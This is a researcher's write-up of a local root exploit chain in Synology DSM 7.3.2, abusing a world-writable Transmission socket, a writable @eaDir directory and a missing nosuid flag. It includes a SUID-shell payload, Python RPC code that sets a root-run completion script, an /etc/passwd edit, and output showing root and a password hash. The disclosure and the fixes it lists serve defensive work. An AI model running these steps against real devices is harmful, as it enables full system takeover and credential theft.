Synology DSM 7.3.2

Synology DSM 7.3.2

Chaining three issues to gain root from a low privileged user.

I'd just updated my DSM to the latest version and I thought yeah, why not attack it while I'm playing with new workflows, toys and tools, here we are...

TL;DR Good News Bad News

I discovered a local privilege escalation vulnerability chain in Synology DSM 7.3.2 that allows any authenticated user to gain root access when DownloadStation with BitTorrent is enabled. The exploit chains three misconfigurations:

  1. World-writable Transmission socket (/tmp/synodl_transmission.sock)
  2. World-writable system directory (/volume1/@eaDir/)
  3. Missing nosuid mount flag on /volume1

Affected: Synology DSM 7.3.2-86009 (likely other versions too) Impact: Complete system compromise from any local user with shell access, it would be dishonest of me to downplay the 'local user with shell access, that's something that I have enabled, for my discovery and testing, so by default, Synology non-admin users are fine, but what I would say is that when the low privilege user does have a shell, the privilege escalation can happen, they're still a low privilege user with a shell, this works, so I thought it was worth sharing as other people might have other ways to introduce this execution.

if you're playing along

This is the bit that's frustrating with the time that I had I couldn't find a nice way to let the command below happen smoother than performing what some might call advanced linux account control (I gave the lowpriv account shell access, still lowpriv, but ... I still had to enable that shell, so ... minus hacking points, but if someone has something that unlocks this ... I'm sharing, you can too.

sed -i '/^LowPriv:/ s#/sbin/nologin#/bin/sh#' /etc/passwd grep '^LowPriv:' /etc/passwd


0:00
/1:59

The Discovery

While mooching my Synology DS1522+ NAS, I noticed something interesting in the /tmp directory:

lowpriv@nas:~$ ls -la /tmp/synodl_transmission.sock
srwxrwxrwx 1 root root 0 Dec 31 22:54 /tmp/synodl_transmission.sock

A Unix socket owned by root, running as root, but writable by everyone. That's a red flag.


Understanding the Attack Surface

The Transmission BitTorrent daemon is part of Synology's DownloadStation package. When BitTorrent is enabled, it creates a Unix socket for RPC communication. This socket allows clients to:

  • Add/remove torrents
  • Query download status
  • Configure daemon settings

One particularly dangerous setting is script-torrent-done-filename - a script that runs as root whenever a torrent completes.

LowPriv User Entitlements

users and http (Not admin)
SFTP

The Exploit Chain

Step 1: Place the Payload

Synology has a hidden directory /volume1/@eaDir/ used for extended attributes. It's world-writable:

lowpriv@nas:~$ ls -la /volume1/@eaDir/
drwxrwxrwx+ 1 root root 164 Dec 31 18:53 .

I write my payload here:

cat > /volume1/@eaDir/payload.sh << 'EOF'
#!/bin/sh
cp /bin/sh /volume1/@eaDir/ROOTSHELL
chmod 4755 /volume1/@eaDir/ROOTSHELL
chown root:root /volume1/@eaDir/ROOTSHELL
EOF
chmod +x /volume1/@eaDir/payload.sh

Step 2: Configure Transmission

Using Python, I connect to the socket and configure Transmission to run my payload:

import socket, json, re

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/tmp/synodl_transmission.sock')

# Get session ID (CSRF protection)
req = json.dumps({'method': 'session-get', 'arguments': {}})
sock.send(f'POST /transmission/rpc HTTP/1.1\r\nHost: localhost\r\nContent-Length: {len(req)}\r\n\r\n{req}'.encode())
response = sock.recv(4096).decode()
session_id = re.search(r'X-Transmission-Session-Id: (\w+)', response).group(1)
sock.close()

# Set the malicious script
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/tmp/synodl_transmission.sock')
req = json.dumps({
    'method': 'session-set',
    'arguments': {
        'script-torrent-done-enabled': True,
        'script-torrent-done-filename': '/volume1/@eaDir/payload.sh'
    }
})
sock.send(f'POST /transmission/rpc HTTP/1.1\r\nHost: localhost\r\nX-Transmission-Session-Id: {session_id}\r\nContent-Length: {len(req)}\r\n\r\n{req}'.encode())
print(sock.recv(4096).decode())  # {"result":"success"}

Step 3: Trigger Execution

I create a minimal torrent, add it via RPC, provide the matching data, and trigger verification:

# Create minimal valid torrent (details in full PoC)
# Add via torrent-add RPC
# Write matching data to /tmp
# Call torrent-verify

When the torrent "completes", Transmission executes my payload as root.

Step 4: Profit

lowpriv@nas:~$ ls -la /volume1/@eaDir/ROOTSHELL
-rwsr-xr-x 1 root root 1204768 Dec 31 22:55 /volume1/@eaDir/ROOTSHELL

lowpriv@nas:~$ /volume1/@eaDir/ROOTSHELL -p -c 'id'
uid=1029(lowpriv) gid=100(users) euid=0(root) groups=100(users)

lowpriv@nas:~$ /volume1/@eaDir/ROOTSHELL -p -c 'cat /etc/shadow | head -2'
admin:$6$Dvg6DnOkUw$HOCmbnWUy9c.irmxUbBY7Z...

Full root access achieved.


Why This Works

Three separate security issues combine:

IssueDescription
World-writable socketAny user can send RPC commands to Transmission
World-writable @eaDirAny user can place executable files in a persistent location
Missing nosuid flagSUID binaries in /volume1 retain their privileges

Each issue alone is relatively low severity. Combined, they're Juicy.


Impact

  • Confidentiality: Root can access all files, including password hashes, private keys, and user data
  • Integrity: Root can modify system files, install backdoors, or compromise other network devices
  • Availability: Root can encrypt or delete all data (ransomware scenario)

Sorry if i'm teaching you to suck eggs


Recommendations for the Vendor

  1. Run transmissiond as a non-root user
  2. Set socket permissions to srwx------ (owner only)
  3. Add nosuid to /volume1 mount options
  4. Remove world-writable permissions from @eaDir
  5. Validate script paths in script-torrent-done-filename

Timeline

  • 2025-12-31: Vulnerability discovered and exploited
  • 2025-XX-XX: Reported to Synology PSIRT
  • LOL:...

Full PoC

The complete exploit script is available: synology_full_lpe.sh

Usage:

lowpriv@nas:~$ ./synology_full_lpe.sh
[+] Transmission socket found and writable
[+] @eaDir is writable
[+] Payload written
[+] Transmission exploit completed
[+] SUCCESS! SUID root shell created!
-rwsr-xr-x 1 root root 1204768 /volume1/@eaDir/ROOTSHELL

Run this to get root:
    /volume1/@eaDir/ROOTSHELL -p